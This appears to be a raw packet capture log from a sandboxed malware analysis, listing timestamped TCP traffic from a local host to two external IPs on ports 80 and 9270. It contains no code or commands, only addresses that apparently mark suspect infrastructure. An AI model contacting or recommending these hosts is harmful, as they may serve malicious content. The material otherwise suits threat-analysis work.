Dec 15, 2024 11:59:51.378144979 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.378982067 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.379131079 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.379180908 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.380089998 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.380254984 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.380311012 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.381187916 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.381259918 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.381335020 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.381393909 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.382294893 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.382349014 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.382373095 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.382407904 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.383459091 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.383507967 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.383582115 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.383837938 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.384478092 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.384531021 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.384541988 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.384582996 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.385616064 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.385684013 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.385715961 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.385763884 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.386693001 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.386755943 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.386843920 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.387105942 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.387803078 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.387862921 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.387950897 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.388000965 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.388880014 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.388932943 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.388987064 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.390083075 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.390276909 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.390328884 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.391117096 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.391168118 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.391254902 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.392182112 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.392235041 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.392288923 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.393398046 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.393450975 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.393553019 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.393603086 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.394426107 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.394476891 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.394530058 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.395513058 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.395632982 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.395710945 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.396575928 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.396692991 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.396759033 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.397670984 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.397806883 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.397876978 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.398823977 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.398878098 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.398941040 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.399909973 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.400070906 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.400141001 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.401000023 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.401098013 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.401108027 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.401150942 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.402371883 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.402488947 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.402548075 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.403224945 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.403287888 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.403358936 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.403409004 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.404280901 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.404336929 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.404423952 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.404478073 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.405390978 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.405443907 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.405950069 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.405997992 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.406496048 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.406634092 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.406682014 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.407618046 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.407687902 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.407740116 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.407803059 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.408687115 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.408778906 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.408824921 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.408879042 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.409792900 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.409845114 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.409919024 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.410177946 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.410912037 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.411000967 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.411041021 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.411103964 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.412004948 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.412070036 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.412106991 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.412178040 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.413086891 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.413161993 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.413182974 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.413625002 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.414186001 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.414238930 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.414238930 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.414288998 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.415359974 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.415425062 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.415469885 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.415532112 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.416392088 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.416446924 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.462692022 CET	9270	49826	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:51.520426035 CET	49826	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:51.551443100 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.551590919 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.551661015 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.551913977 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.551970959 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.552023888 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.552988052 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.553045988 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.553450108 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.553555965 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.553607941 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.554491043 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.554548025 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.554625034 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.555767059 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.555800915 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.555818081 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.556322098 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.556724072 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.556818962 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.556866884 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.557784081 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.558109045 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.558156967 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.558209896 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.558254004 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.559257984 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.559442997 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.559490919 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.560359955 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.560426950 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.560549021 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.560597897 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.561422110 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.561516047 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.561566114 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.562508106 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.562632084 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.562680960 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.563620090 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.563668966 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.563673973 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.563802004 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.564702988 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.564758062 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.564876080 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.564933062 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.565790892 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.565844059 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.565931082 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.566543102 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.566885948 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.566937923 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.566999912 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.567048073 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.567991018 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.568048954 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.568172932 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.569129944 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.569207907 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.569226980 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.569643021 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.570188999 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.570250988 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.570322037 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.570370913 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.571279049 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.571407080 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.571479082 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.571533918 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.572449923 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.572577000 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.572639942 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.573513031 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.573565960 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.573570013 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.574673891 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.574727058 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.574732065 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.575720072 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.575778008 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.575824022 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.576803923 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.576860905 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.576915979 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.576961994 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.577902079 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.578002930 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.578058958 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.579005957 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.579128981 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.579186916 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.580115080 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.580185890 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.580245972 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.580341101 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.581221104 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.581302881 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.581336021 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.581399918 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.582329988 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.582454920 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.582515001 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.583400011 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.583466053 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.583529949 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.584146976 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.584494114 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.584640026 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.584707022 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.585597992 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.585706949 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.585772991 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.586690903 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.586760044 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.586819887 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.587816000 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.587852955 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.587879896 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.588378906 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.588918924 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.589068890 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.589122057 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.590007067 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.590142012 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.590197086 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.591095924 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.591255903 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.591317892 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.592210054 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.592453957 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.592509985 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.593324900 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.593380928 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.593446970 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.594412088 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.594472885 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.594538927 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.595521927 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.595585108 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.595613003 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.595663071 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.596609116 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.596713066 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.596769094 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.597727060 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.597760916 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.597815037 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.598797083 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.598851919 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.598877907 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.599930048 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.599989891 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.600044012 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.600219011 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.601015091 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.601118088 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.601172924 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.602118969 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.602174044 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.602243900 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.603218079 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.603277922 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.603359938 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.604311943 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.604372025 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.604444027 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.605420113 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.605477095 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.605549097 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.605597019 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.606511116 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.606632948 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.606686115 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.607605934 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.607718945 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.607777119 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.608695030 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.608748913 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.640254021 CET	9270	49826	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:51.673070908 CET	49826	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:51.744162083 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.744226933 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.744250059 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.744297028 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.744502068 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.744549990 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.744748116 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.744796038 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.745618105 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.745662928 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.745826006 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.745871067 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.746753931 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.746799946 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.746841908 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.746886015 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.747849941 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.747898102 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.747906923 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.747951031 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.748938084 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.748986006 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.749085903 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.749129057 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.793226957 CET	9270	49826	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:51.863898993 CET	49826	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:51.984138966 CET	9270	49826	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:52.053251982 CET	49826	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:52.173156023 CET	9270	49826	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:52.268081903 CET	49826	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:52.388190031 CET	9270	49826	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:52.498944998 CET	49826	9270	192.168.2.4	89.23.100.42
